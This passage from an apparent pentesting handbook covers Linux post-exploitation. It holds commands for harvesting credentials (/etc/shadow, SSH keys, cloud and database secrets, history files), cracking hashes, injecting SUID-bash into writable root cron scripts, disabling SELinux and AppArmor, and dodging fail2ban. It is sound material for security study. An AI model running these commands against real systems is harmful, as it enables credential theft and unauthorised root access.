-2000 -type f 2>/dev/null # 3. Find world-writable files find / -perm -o+w -type f 2>/dev/null | grep -v "^/proc\|^/sys" # 4. Find world-writable directories find / -perm -o+w -type d 2>/dev/null | grep -v "^/proc\|^/sys" # 5. Check sudo rights sudo -l # 6. Check your group memberships id # 7. Find files owned by your user elsewhere on the system find / -user $(whoami) -type f 2>/dev/null | grep -v "^/proc\|^/home/$(whoami)" # 8. Find files writable by your group find / -group $(id -gn) -writable -type f 2>/dev/null ``` *** ## Quick Reference | Command | Purpose | | -------------------------------- | ------------------------- | | `chmod 755 file` | Set permissions via octal | | `chmod u+x file` | Add execute for owner | | `chown user:group file` | Change ownership | | `find / -perm -4000 2>/dev/null` | Find SUID binaries | | `find / -perm -2000 2>/dev/null` | Find SGID binaries | | `find / -perm -o+w 2>/dev/null` | Find world-writable files | | `stat file` | Detailed file metadata | *** *Next: [User & Group Management](/tech/linux/user-management) — enumerating users, reading `/etc/shadow`, and finding lateral movement targets.* # Pillaging Source: https://hackbook.dudji.com/tech/linux/pillaging ## The Mindset Pillaging is post-exploitation with high privileges. The goal is to extract: * **Credentials** — passwords, hashes, keys, tokens * **Sensitive data** — PII, internal documents, business data * **Infrastructure intel** — internal hostnames, IPs, configs that help you move laterally * **Persistence material** — SSH keys, API tokens, service accounts The difference between enumeration and pillaging is **access level**. During enumeration you work with what a low-privilege user can see. During pillaging, you have root — every door is open. *** ## Operating System & Environment Start by confirming full context with elevated access: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Full system info uname -a cat /etc/os-release cat /proc/version # Environment — look for tokens, API keys, secrets env cat /proc/1/environ 2>/dev/null | tr '\0' '\n' # init process environment # Installed packages — find software with known CVEs dpkg -l # Debian/Ubuntu rpm -qa # RHEL/CentOS apt list --installed 2>/dev/null ``` *** ## Credentials in Configuration Files Configuration files are the richest source of credentials on any Linux system. Services need to authenticate to databases, APIs, and other services — those credentials live in config files. ### Web Application Configs ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # WordPress — database credentials cat /var/www/html/wp-config.php find / -name "wp-config.php" 2>/dev/null | xargs cat # Generic PHP configs find /var/www -name "config.php" -o -name "configuration.php" -o -name "settings.php" 2>/dev/null | xargs cat # Laravel .env — database, API keys, app secrets find /var/www -name ".env" 2>/dev/null | xargs cat # Django settings find / -name "settings.py" 2>/dev/null | xargs grep -E "PASSWORD|SECRET|DATABASE" 2>/dev/null # Generic credential hunting in web dirs grep -rE "password|passwd|db_pass|secret|api_key|token" /var/www/ 2>/dev/null | grep -v ".svn\|.git\|Binary" ``` ### Database Configuration Files ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # MySQL / MariaDB cat /etc/mysql/mysql.conf.d/mysqld.cnf cat /etc/mysql/my.cnf cat ~/.my.cnf # Per-user MySQL credentials (often has root password) # PostgreSQL cat /etc/postgresql/*/main/postgresql.conf cat /etc/postgresql/*/main/pg_hba.conf # Auth config — may show trust auth find / -name "pgpass" -o -name ".pgpass" 2>/dev/null | xargs cat # MongoDB cat /etc/mongod.conf # Redis cat /etc/redis/redis.conf | grep -E "requirepass|bind" ``` ### Service & Application Configs ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # SSH server config cat /etc/ssh/sshd_config # FTP cat /etc/vsftpd.conf cat /etc/proftpd/proftpd.conf # Apache / Nginx — virtual hosts may reveal app paths cat /etc/apache2/apache2.conf ls /etc/apache2/sites-enabled/ cat /etc/nginx/nginx.conf ls /etc/nginx/sites-enabled/ # Samba — may contain credentials cat /etc/samba/smb.conf # SNMP — community strings cat /etc/snmp/snmpd.conf # Any config file mentioning password under /etc grep -rE "password|passwd|secret" /etc/ 2>/dev/null | grep -v "^Binary\|:#" ``` *** ## SSH Keys SSH keys are the ultimate lateral movement credential — no cracking needed, works immediately. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Private keys for all users find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" -o -name "id_dsa" 2>/dev/null # All .ssh directories find / -name ".ssh" -type d 2>/dev/null | xargs ls -la # Root's SSH keys ls -la /root/.ssh/ cat /root/.ssh/id_rsa 2>/dev/null cat /root/.ssh/authorized_keys 2>/dev/null # All users' authorized keys (shows who can log in as whom) find /home /root -name "authorized_keys" 2>/dev/null | xargs cat # Known hosts (reveals other machines this box connects to) find /home /root -name "known_hosts" 2>/dev/null | xargs cat ``` `known_hosts` reveals every host this machine has ever SSH'd into. Each entry is a lateral movement target. Even if the keys are hashed, the IPs/hostnames are often visible. *** ## Password & Hash Files ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # The classic pair — always try to read shadow cat /etc/passwd cat /etc/shadow # Unshadow and crack unshadow /etc/passwd /etc/shadow > /tmp/hashes.txt john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hashes.txt hashcat -m 1800 /tmp/hashes.txt /usr/share/wordlists/rockyou.txt # NIS/YP shadow (older systems) cat /etc/passwd- 2>/dev/null cat /etc/shadow- 2>/dev/null # Cached sudo credentials ls -la /var/db/sudo/ 2>/dev/null ``` *** ## Command History Files Users type passwords directly into terminals constantly. History files capture everything. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Current user cat ~/.bash_history cat ~/.zsh_history 2>/dev/null cat ~/.sh_history 2>/dev/null cat ~/.fish_history 2>/dev/null # All users (with root access) find /home /root -name ".*history" 2>/dev/null | xargs cat # MySQL commands typed in terminal (passwords passed with -p) grep -h "mysql\|mysqladmin\|psql\|redis-cli\|mongo" /home/*/.bash_history /root/.bash_history 2>/dev/null # SSH commands (reveals targets and usernames) grep "ssh " /home/*/.bash_history /root/.bash_history 2>/dev/null # wget/curl with credentials in URLs grep -h "wget\|curl" /home/*/.bash_history /root/.bash_history 2>/dev/null | grep -E "://.*:.*@" ``` *** ## Log Files Logs are a goldmine — applications log errors that often include credentials, and auth logs show activity patterns. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Authentication events — successful and failed logins cat /var/log/auth.log grep "Accepted\|Failed\|password" /var/log/auth.log | tail -50 # System log — service starts, errors, cron activity cat /var/log/syslog | tail -100 # Kernel log cat /var/log/kern.log | tail -50 # Web server logs — URLs sometimes contain credentials cat /var/log/apache2/access.log | grep -E "password|passwd|token|key" cat /var/log/nginx/access.log | grep -E "password|passwd|token|key" # Application-specific logs ls /var/log/ find /var/log -name "*.log" -readable 2>/dev/null | xargs grep -l "password\|credential\|token" 2>/dev/null ``` **Log locations reference:** | Log File | Contains | | ----------------------------- | --------------------------------------------- | | `/var/log/auth.log` | SSH logins, sudo usage, PAM events | | `/var/log/syslog` | General system events | | `/var/log/kern.log` | Kernel messages | | `/var/log/apache2/access.log` | Web requests | | `/var/log/apache2/error.log` | App errors — often includes paths and configs | | `/var/log/mysql/error.log` | Database errors | | `/var/log/mail.log` | Mail server activity | | `/var/log/fail2ban.log` | Blocked IPs — reveals attack patterns | | `/var/log/journal/` | Systemd journal (use `journalctl`) | *** ## Databases If a database service is running, connect to it directly with root or the credentials you found. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # MySQL / MariaDB mysql -u root -p # prompted password mysql -u root -p'foundpassword' # inline password mysql -u root --password=foundpassword -e "show databases;" # Once in MySQL: # SHOW DATABASES; # USE ; # SHOW TABLES; # SELECT * FROM users; # SELECT user, password FROM mysql.user; ← MySQL user hashes # PostgreSQL psql -U postgres psql -U postgres -c "\l" # list databases psql -U postgres -d mydb -c "SELECT * FROM users;" # SQLite (common in apps) find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null sqlite3 /path/to/database.db ".tables" sqlite3 /path/to/database.db "SELECT * FROM users;" # Redis (often unauthenticated) redis-cli redis-cli KEYS "*" redis-cli GET "" ``` *** ## Stored Credentials & Secret Files ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # .netrc — FTP/HTTP credentials stored in plaintext find /home /root -name ".netrc" 2>/dev/null | xargs cat # AWS credentials find / -name "credentials" -path "*/.aws/*" 2>/dev/null | xargs cat find / -name "config" -path "*/.aws/*" 2>/dev/null | xargs cat env | grep -E "AWS_|AMAZON_" # GCP credentials find / -name "*.json" -path "*/gcloud/*" 2>/dev/null # Docker — registry credentials and configs cat /root/.docker/config.json 2>/dev/null cat ~/.docker/config.json 2>/dev/null # Git config — may contain tokens or credentials in remote URLs find / -name ".gitconfig" 2>/dev/null | xargs cat find / -name ".git" -type d 2>/dev/null | xargs -I{} cat {}/../.git/config # Password manager databases find / -name "*.kdbx" -o -name "pass.gpg" 2>/dev/null # Any file literally named with sensitive keywords find / -type f \( -name "*password*" -o -name "*credential*" -o -name "*secret*" -o -name "*token*" \) 2>/dev/null | grep -v "^/proc\|^/sys" ``` *** ## Emails & Mail Spools Internal emails often contain credentials, reset links, and infrastructure information. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Local mail spools ls /var/mail/ cat /var/mail/root 2>/dev/null find /var/mail /var/spool/mail -type f 2>/dev/null | xargs cat # Mutt / other mail client configs find /home /root -name ".muttrc" -o -name ".mailrc" 2>/dev/null | xargs cat ``` *** ## Interesting Files Across the System ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Backup files (often contain old configs with credentials) find / -name "*.bak" -o -name "*.backup" -o -name "*.old" -o -name "*.orig" 2>/dev/null # Scripts — may hardcode credentials or reveal logic find / -name "*.sh" -not -path "/usr/*" 2>/dev/null | head -20 find / -name "*.py" -not -path "/usr/*" 2>/dev/null | xargs grep -l "password\|secret" 2>/dev/null # Recently modified files (last 10 minutes — post-exploitation activity) find / -type f -mmin -10 2>/dev/null | grep -v "^/proc\|^/sys" # Large files (potential data dumps) find / -type f -size +10M -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null # Hidden files and directories find /home /root /tmp /var /opt -name ".*" -type f 2>/dev/null ``` *** ## Memory & Running Process Secrets ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Environment variables of running processes (may contain tokens/passwords) for pid in /proc/[0-9]*/environ; do echo "=== $pid ===" cat "$pid" 2>/dev/null | tr '\0' '\n' | grep -E "PASS|SECRET|KEY|TOKEN|API" done # Command line arguments of all processes ps auxww | grep -E "password|passwd|secret|token|key" | grep -v grep # Dump strings from process memory (requires root) # Be careful — can destabilize processes cat /proc//maps strings /proc//mem 2>/dev/null | grep -E "password|secret" ``` *Next: [System Logs](/tech/linux/system-logs) — reading and analyzing logs to understand what happened on a system and find evidence of credentials and activity.* # Processes services Source: https://hackbook.dudji.com/tech/linux/processes-services ## The Mindset Processes and services matter to a pentester for three reasons: * **Attack surface** — Services running as root with known vulnerabilities * **Credential exposure** — Processes started with passwords as arguments (visible in `ps`) * **Scheduled execution** — Cron jobs and timers running privileged scripts you might be able to modify Always ask: *what is running, as whom, and can I influence it?* *** ## Processes ### `ps` — Process Status The primary tool for viewing running processes. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # All processes, full detail, including those without a terminal ps aux # Tree view — shows parent/child relationships ps auxf # Processes for a specific user ps -u root # Watch processes update every second (poor man's top) watch -n 1 "ps aux" ``` **`ps aux` output explained:** ``` USER PID %CPU %MEM VSZ RSS STAT START TIME COMMAND root 1 0.0 0.1 225948 9520 Ss 09:01 0:03 /sbin/init www-data 812 0.1 0.4 123456 18432 S 09:05 0:12 /usr/sbin/apache2 ``` | Column | Meaning | | --------------- | -------------------------------------------------------------------------------------------------------------------------------- | | `USER` | Who owns the process — root-owned processes are high value | | `PID` | Process ID | | `%CPU` / `%MEM` | Resource usage | | `VSZ` | Virtual memory size — total memory the process could use | | `RSS` | Resident Set Size — physical memory currently used by the process | | `STAT` | Process state — S sleeping (waiting for input), R running (actively using CPU), Z zombie (finished but not cleaned up by parent) | | `START` | Time the process was started | | `TIME` | Total CPU time the process has consumed since it started | | `COMMAND` | The full command — **passwords often appear here** | **Hunt for credentials in process arguments:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Look for passwords passed as arguments ps aux | grep -E "password|passwd|--pass|-p [0-9]" # Check full command lines via /proc for pid in /proc/[0-9]*/cmdline; do cat "$pid" 2>/dev/null | tr '\0' ' ' echo done | grep -i "pass\|secret\|key\|token" ``` The first command searches `ps aux` output for common patterns used when passwords are passed as arguments — `password`/`passwd` as full argument names, `--pass` as a CLI flag, or `-p` followed by a number (common with database CLIs like mysql). The second command reads directly from `/proc` instead of `ps`. Every running process has a `cmdline` file in `/proc/[PID]/` containing its full command line, but arguments are separated by null bytes (`\0`) instead of spaces. `tr '\0' ' '` converts those null bytes to spaces so the output is readable, then `grep` filters for anything that looks like a secret. Developers and sysadmins frequently pass database passwords as command-line arguments. These show up in `ps aux` and are readable by any user on the system. *** ## Services (Daemons) Services are background processes — identified by a `d` suffix in their name (`sshd`, `httpd`, `mysqld`). They're managed by **systemd** on most modern Linux systems. ### `systemctl` — Service Management ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # List all running services systemctl list-units --type=service --state=running # List ALL services (including stopped) systemctl list-units --type=service # Status of a specific service systemctl status ssh systemctl status apache2 # Start / stop / restart systemctl start ssh systemctl stop ssh systemctl restart ssh # Enable at boot / disable systemctl enable ssh systemctl disable ssh ``` **What to look for in service status:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} systemctl status mysql # ● mysql.service - MySQL Community Server # Loaded: loaded (/lib/systemd/system/mysql.service) # Active: active (running) since Mon 2024-01-01 # Process: 1234 ExecStart=/usr/sbin/mysqld (code=exited) # Main PID: 1235 (mysqld) # CGroup: /system.slice/mysql.service # └─1235 /usr/sbin/mysqld ``` Note the user context — if it says `User=root` in the unit file, any exploit against this service runs as root. ### Check Service Unit Files for Misconfigs ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # View the unit file for a service systemctl cat ssh cat /lib/systemd/system/apache2.service # Look for services running as root grep -r "User=" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null # Find writable service unit files (can hijack execution) find /etc/systemd /lib/systemd -writable -type f 2>/dev/null ``` ### `journalctl` — Service Logs ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Logs for a specific service journalctl -u ssh.service # Follow logs in real time journalctl -u apache2 -f # Logs since last boot journalctl -b # Look for errors journalctl -p err ``` *** ## Listening Ports & Network Services A service is only useful to you if it's accessible. Map what's listening and where. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # All listening ports (TCP + UDP) ss -tuln # Same with process names (needs root for all processes) ss -tulnp # Legacy netstat equivalent netstat -tuln netstat -tulnp # Cross-reference with ps — find the process behind a port ss -tulnp | grep :3306 # MySQL ss -tulnp | grep :8080 # Web app ``` **Why this matters:** Services listening on `127.0.0.1` (localhost only) are not exposed externally — but once you're on the box, you can access them. Internal services are often less hardened than externally-facing ones. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Find internal-only services (localhost listeners) ss -tuln | grep "127.0.0.1" # Port forward to access them from your machine # ssh -L :: @ ssh -L 8080:127.0.0.1:8080 user@target ``` *** ## Cron Jobs — Scheduled Task Abuse Cron runs scripts on a schedule — often as root. If a root-owned cron job calls a script you can modify, you can inject commands that run as root. ### Where Cron Jobs Live ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # System-wide crontab cat /etc/crontab # Cron directories (scripts dropped here run automatically) ls -la /etc/cron.d/ ls -la /etc/cron.daily/ ls -la /etc/cron.hourly/ ls -la /etc/cron.weekly/ ls -la /etc/cron.monthly/ # Current user's crontab crontab -l # Other users' crontabs (needs root) crontab -l -u root ls /var/spool/cron/crontabs/ ``` ### Reading a Crontab ``` # MIN HOUR DOM MON DOW USER COMMAND 0 */6 * * * root /opt/scripts/backup.sh 0 0 1 * * root /usr/local/bin/cleanup.sh ``` | Field | Values | Description | | ----- | ------ | ------------------------------ | | MIN | 0-59 | Minute | | HOUR | 0-23 | Hour | | DOM | 1-31 | Day of month | | MON | 1-12 | Month | | DOW | 0-7 | Day of week (0 and 7 = Sunday) | | `*` | any | Run every interval | | `*/6` | any | Every 6 units | ### Exploiting Cron Jobs ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Step 1: Find cron jobs running as root cat /etc/crontab grep -r "CRON" /var/log/syslog | tail -20 # See what recently ran # Step 2: Check if the script is writable ls -la /opt/scripts/backup.sh # Step 3: If writable — inject a reverse shell or SUID bash echo "chmod +s /bin/bash" >> /opt/scripts/backup.sh # Wait for cron to run, then: bash -p # Step 4: If the script doesn't exist yet — create it # (cron calls a script that was deleted but the job remains) echo '#!/bin/bash\nchmod +s /bin/bash' > /opt/scripts/backup.sh chmod +x /opt/scripts/backup.sh ``` Use `pspy` to monitor processes in real time without root — it catches cron jobs and other scheduled tasks as they execute, even ones not visible in crontab files. `./pspy64` — watch for root-owned processes spawning at regular intervals. *** ## Systemd Timers — The Modern Cron Systemd timers are the modern replacement for cron. Check them too. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # List all active timers systemctl list-timers --all # View what a timer runs systemctl cat mytimer.timer systemctl cat mytimer.service ``` *** ## Process Signals Useful for controlling processes during a pentest — particularly for backgrounding tools or cleanly stopping them. | Signal | Number | Shortcut | Description | | --------- | ------ | -------- | ----------------------- | | `SIGHUP` | 1 | — | Reload config / restart | | `SIGINT` | 2 | `Ctrl+C` | Interrupt process | | `SIGQUIT` | 3 | `Ctrl+D` | Quit | | `SIGKILL` | 9 | — | Force kill — no cleanup | | `SIGTERM` | 15 | — | Graceful termination | | `SIGSTOP` | 19 | — | Pause process | | `SIGTSTP` | 20 | `Ctrl+Z` | Suspend to background | ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Kill a process by PID kill -9 # Kill by name pkill -9 apache2 # Find PID by name pgrep sshd ``` ### Background & Foreground ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Run a command in the background ./scan.sh & # Suspend current process Ctrl+Z # List background jobs jobs # Resume in background bg # Bring back to foreground fg 1 ``` *** *Next: [Network Configuration & Enumeration](/tech/linux/network-configuration) — mapping the internal network, active connections, and pivoting opportunities.* # Security hardening Source: https://hackbook.dudji.com/tech/linux/security-hardening ## The Mindset Security hardening is what defenders put in place to stop you. As a pentester you need to: * **Identify what's running** — SELinux? AppArmor? Fail2ban? Each changes your approach * **Understand the restrictions** — What can't you do, and why? * **Find the gaps** — Hardening is only as strong as its configuration. Misconfigured defenses are often worse than none at all This knowledge also helps you write better pentest reports — you can tell defenders exactly what's missing. *** ## System Updates & Patch Level The most basic security control — and the most commonly neglected. An unpatched kernel or service is often a direct path to root. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check OS and kernel version uname -r cat /etc/os-release # List installed packages and versions dpkg -l # Debian/Ubuntu rpm -qa # RHEL/CentOS # Check for available updates (shows what's unpatched) apt list --upgradable 2>/dev/null yum check-update 2>/dev/null # Last time the system was updated ls -la /var/cache/apt/pkgcache.bin stat /var/lib/apt/lists/ | grep "Modify" # Update everything (on your own lab systems) sudo apt update && sudo apt dist-upgrade ``` Always run `uname -r` early and search for kernel exploits. Administrators frequently patch applications but forget to update the kernel manually on older systems. *** ## SELinux — Security-Enhanced Linux SELinux is a **Mandatory Access Control (MAC)** system built into the Linux kernel. It enforces security policies that define exactly what every process can and cannot do — regardless of file permissions. ### How It Works Every process, file, and system object gets a **security label**. Policy rules define which labels can interact with which. Even root is constrained by SELinux policy. ### Check SELinux Status ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check if SELinux is running and in what mode sestatus # Output: # SELinux status: enabled # SELinuxfs mount: /sys/fs/selinux # SELinux mount point: /sys/fs/selinux # Loaded policy name: targeted # Current mode: enforcing ← enforcing | permissive | disabled # Mode from config file: enforcing # Policy MLS status: enabled # Policy deny_unknown status: denied # Max kernel policy version: 33 # Quick mode check getenforce # Enforcing / Permissive / Disabled ``` ### SELinux Modes | Mode | Behavior | Pentest Impact | | ------------ | ----------------------------------------------------- | --------------------------------------------- | | `Enforcing` | Policies are enforced — violations blocked and logged | Full restrictions in place | | `Permissive` | Violations are logged but NOT blocked | No restrictions — but your actions are logged | | `Disabled` | SELinux completely off | No restrictions, no logging | ### SELinux Contexts ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # View SELinux context on files ls -Z /etc/passwd # system_u:object_r:passwd_file_t:s0 /etc/passwd # View context of running processes ps auxZ | grep apache # unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 root 1234 apache2 # View your own context id -Z ``` ### Temporarily Disable SELinux (Requires Root) ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Set to permissive for current session (no reboot needed) setenforce 0 # Re-enable setenforce 1 # Permanently disable (requires reboot) — edit config cat /etc/selinux/config # SELINUX=enforcing ← change to disabled or permissive ``` ### Common SELinux Bypass Techniques ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check if you're running in an unconfined context (unrestricted) id -Z | grep "unconfined" # Look for booleans that weaken policy getsebool -a | grep "on$" # All enabled booleans getsebool httpd_execmem # Specific boolean getsebool httpd_can_network_connect_db # Often enabled for web apps # Find files with permissive types (less restricted) seinfo --permissive 2>/dev/null ``` *** ## AppArmor AppArmor is also a **MAC system** but operates differently from SELinux. It uses **application profiles** that define what files and capabilities each application can access. Simpler to configure than SELinux, and common on Ubuntu/Debian systems. ### Check AppArmor Status ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check if AppArmor is running aa-status sudo apparmor_status # Output: # apparmor module is loaded. # 15 profiles are loaded. # 15 profiles are in enforce mode. ← full restrictions # 0 profiles are in complain mode. ← log only, no blocking # 3 processes have profiles defined. ``` ### AppArmor Modes | Mode | Behavior | Pentest Impact | | ------------ | ------------------------------------- | ----------------------------------- | | `enforce` | Profile restrictions are applied | Actions outside profile are blocked | | `complain` | Violations are logged but not blocked | No restrictions — but logged | | `unconfined` | No profile — no restrictions | Full access for that process | ### Check Profiles for a Process ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # List all loaded profiles cat /sys/kernel/security/apparmor/profiles 2>/dev/null # Check if a specific binary has a profile aa-status | grep apache aa-status | grep mysql # View profile contents cat /etc/apparmor.d/usr.sbin.apache2 2>/dev/null # Processes NOT covered by AppArmor (unconfined) aa-status | grep "unconfined" ``` ### Disable AppArmor for a Profile (Requires Root) ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Set a profile to complain mode (no blocking) aa-complain /usr/sbin/apache2 # Disable a specific profile aa-disable /usr/sbin/apache2 # Reload all profiles apparmor_parser -r /etc/apparmor.d/* ``` *** ## TCP Wrappers TCP Wrappers control access to network services based on the **client's IP address**. Simple but effective for basic network-level access control. ### How It Works Two files control access: | File | Purpose | | ------------------ | ------------------------------------- | | `/etc/hosts.allow` | Explicitly permitted services and IPs | | `/etc/hosts.deny` | Explicitly blocked services and IPs | **Rule order:** `hosts.allow` is checked first. If a match is found, access is granted. If not, `hosts.deny` is checked. If no match in either, access is granted by default. ### Reading the Config Files ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} cat /etc/hosts.allow # # Allow SSH from the local network # sshd : 10.129.14.0/24 # # # Allow FTP from a specific host # ftpd : 10.129.14.10 # # # Allow Telnet from any host in this domain # telnetd : .inlanefreight.local cat /etc/hosts.deny # # Deny all services from this domain # ALL : .inlanefreight.com # # # Deny SSH from a specific host # sshd : 10.129.22.22 # # # Deny FTP from a subnet # ftpd : 10.129.22.0/24 ``` ### Format ``` : # Examples: ALL : ALL # All services from all clients sshd : 192.168.1.0/24 # SSH from a subnet httpd : .example.com # HTTP from a domain (note the leading dot) ALL : LOCAL # All services from localhost ``` TCP Wrappers only control access to services — not to ports. It's not a firewall replacement. A service not using TCP Wrappers (like most modern daemons) is completely unaffected. *** ## Firewall — iptables & nftables ### iptables ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # View all rules sudo iptables -L -n -v # View NAT rules (port forwards, masquerading) sudo iptables -t nat -L -n -v # View specific chain sudo iptables -L INPUT -n -v sudo iptables -L OUTPUT -n -v # Check if iptables is active sudo iptables -L | grep -v "^Chain\|^target\|^$" ``` ### nftables (Modern Replacement) ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # View all rules sudo nft list ruleset # View a specific table sudo nft list table inet filter ``` ### UFW (Uncomplicated Firewall — Ubuntu) ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Status and rules sudo ufw status verbose # Check UFW logs cat /var/log/ufw.log | tail -30 ``` *** ## Fail2ban Fail2ban monitors logs and bans IPs that show malicious behavior (too many failed logins, etc.). ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check if fail2ban is running systemctl status fail2ban # View active jails and ban counts sudo fail2ban-client status sudo fail2ban-client status sshd # Check banned IPs sudo fail2ban-client status sshd | grep "Banned IP" # View fail2ban config cat /etc/fail2ban/jail.conf cat /etc/fail2ban/jail.local 2>/dev/null # Ban threshold — how many failures before a ban grep "maxretry\|bantime\|findtime" /etc/fail2ban/jail.conf ``` **Pentest relevance:** If fail2ban is active on SSH, slow down your brute force attempts or use a distributed approach. The default ban threshold is typically 5 failures. *** ## Other Security Tools ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Lynis — system security audit tool (if installed) lynis audit system 2>/dev/null # chkrootkit — rootkit scanner (if installed) chkrootkit 2>/dev/null # rkhunter — rootkit hunter (if installed) rkhunter --check 2>/dev/null # Check for IDS/IPS tools running ps aux | grep -E "snort|suricata|ossec|aide|tripwire" ``` *** ## SSH Hardening (Know What You're Up Against) SSH config reveals what authentication methods are allowed and what restrictions are in place: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} cat /etc/ssh/sshd_config | grep -v "^#\|^$" ``` **Key settings and their pentest implications:** | Setting | Secure Value | Pentest Implication | | ---------------------------- | -------------- | ------------------------------------- | | `PermitRootLogin` | `no` | Can't SSH directly as root | | `PasswordAuthentication` | `no` | Must have a valid key to authenticate | | `PubkeyAuthentication` | `yes` | Key-based auth is enabled | | `AllowUsers` / `AllowGroups` | specific users | Only listed users can SSH in | | `Port` | non-standard | SSH running on a different port | | `MaxAuthTries` | `3` | Limited attempts before disconnect | | `X11Forwarding` | `no` | Can't forward GUI applications | *** *Next: [Terminal Shortcuts](/tech/linux/shortcuts) — keyboard shortcuts that save time and keep you moving fast in the terminal.* # Storage & Devices Source: https://hackbook.dudji.com/tech/linux/storage-devices Disks, partitions, mount points, and device files in Linux. ## Disks & Partitions ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # List block devices lsblk fdisk -l # Disk usage df -h # filesystem disk usage du -sh * # directory sizes # Partition info cat /proc/partitions blkid # device UUIDs and filesystem types ``` ## Mount Points ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # View current mounts mount cat /etc/fstab # persistent mounts # Mount a device mount /dev/sdb1 /mnt/usb # Unmount umount /mnt/usb ``` ### /etc/fstab Abuse If `/etc/fstab` is writable, you can add a mount that auto-executes on boot: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check writability ls -la /etc/fstab ``` ## /dev — Device Files ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Block devices (disks) /dev/sda # first disk /dev/sda1 # first partition /dev/nvme0n1 # NVMe disk # Special devices /dev/null # discard output /dev/zero # stream of null bytes /dev/random # random data /dev/mem # physical memory 